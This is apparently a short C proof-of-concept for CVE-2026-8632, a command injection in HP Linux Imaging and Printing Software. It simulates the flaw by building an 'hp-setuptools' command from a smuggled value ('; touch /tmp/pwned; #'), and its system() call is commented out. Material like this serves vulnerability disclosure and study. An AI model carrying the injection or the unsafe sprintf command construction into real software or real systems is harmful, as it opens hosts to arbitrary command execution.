CVE-2026-8632

#include <stdio.h> #include <stdlib.h> /* * PoC for CVE-2026-8632 * Demonstrates command injection in HP Linux Imaging and Printing Software * This is a conceptual simulation of the vulnerability. */ int main() { // Simulated user input containing malicious payload // The payload attempts to inject a command using a semicolon char* user_input = "; touch /tmp/pwned; #"; // Simulating the vulnerable command construction // Real vulnerable code might look like: system("hp-tool --param "); char command[256]; sprintf(command, "hp-setuptools --printer-name %s", user_input); printf("[+] Constructing command: %s\n", command); printf("[!] If vulnerable, this would execute: touch /tmp/pwned\n"); // In a real scenario, this would execute with elevated privileges // system(command); return 0; }

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